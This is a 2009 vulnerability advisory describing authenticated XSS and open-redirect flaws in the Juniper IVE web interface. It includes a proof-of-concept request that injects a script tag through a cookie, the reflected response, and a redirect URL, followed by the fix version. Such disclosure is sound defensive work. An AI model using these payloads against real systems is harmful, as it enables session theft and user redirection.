PR09-17: Juniper Secure Access series (Juniper IVE) authenticated XSS &
REDIRECTION

http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr09-17

Vulnerability found: 12th October 2009

Vendor informed: 12 October 2009

Severity: Medium (Script injection)

Description:

There are multiple authenticated Cross-site Scripting vulnerability on
Junipers, IVE web interface.

Procheckup has found by making a malformed authenticated request to the
IVE Web interface, that vanilla cross site scripting (XSS) attacks are
possible.


Successfully tested on:
Juniper Networks IVE
version 6.5R1 (Build 14599)
version 6.5R2 (Build 14951)

Model SA-2000

Proof of concepts:
1) The configuration program is vulnerable to a GET cookie XSS attack

GET /dana/nc/ncrun.cgi?launch_nc=1 HTTP/1.1
Host: 10.0.5.23
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://10.0.5.23/dana/home/index.cgi
Cookie: DSPREAUTH=; DSFirstAccess=1255332662; DSHCSTARTED=x;
DSASSERTREF=x; DSLastAccess=1255332662; lastRealm=Users;
DSSignInURL=/e6cf2"><script>alert(1)</script>81d17f3a375;
DSSIGNIN=url_default; DSOSMLOGIN=x; DSIVS=; DSCheckBrowser=x;
DSID=5beee6a236f28b2c3ccf14d56b34feba; DSLaunchURL=x;
DSBrowserProxy=127.0.0.1%3A8080;

RESULTS (PART OF)
<PARAM NAME="AutoStart" VALUE="false"><param name="locale" value="en">
<param name="upgradeMode" value="">
<param name="Parameter0"
value="cert_md5=8ae8f59ab11a2e6f43b383876d270799;dns-suffix=procheckup.com;switch-dns-search-order=disabled;internal-proxy-config=no;ncp_read_timeout=90;enable_logging=0;enable_logupload=0;win_start_script=;win_end_script=;win_skip_start_script=0;linux_start_script=;linux_end_script=;mac_start_script=;mac_end_script=;signin_url=/e6cf2"><script>alert(1)</script>81d17f3a375;fips_mode=0">
<param name="Parameter1" value="split-tunneling-routes=">
<param name="Parameter2" value="split-tunneling-mode=1">
<param name="Parameter3" value="nc_auto_uninstall_mode=0">



2) REDIRECTION
https://target-domain.foo/dana/home/homepage.cgi?syncFlag=1&name=test&url=555-555-0199@example.com&chkFavorite=on&chkNewWindow=on&chkAddressBar=on&Location=http://www.procheckup.com&chkToolbar=on&cancel=Cancel


Consequences:

An attacker may be able to cause execution of malicious scripting code
in the browser of a user who clicks on a link or visits a malicious
webpage. The malicious code would run in the security context of the
vulnerable website.

This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.:
passwords or session IDs) to unauthorised third parties.


Fix:

Update to version 6.5R3.1 (build 15255) or a later version.

References:
http://www.juniper.net/alerts/viewalert.jsp?actionBtn=Search&txtAlertNumber=PSN-2010-05-751&viewMode=view


Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com)


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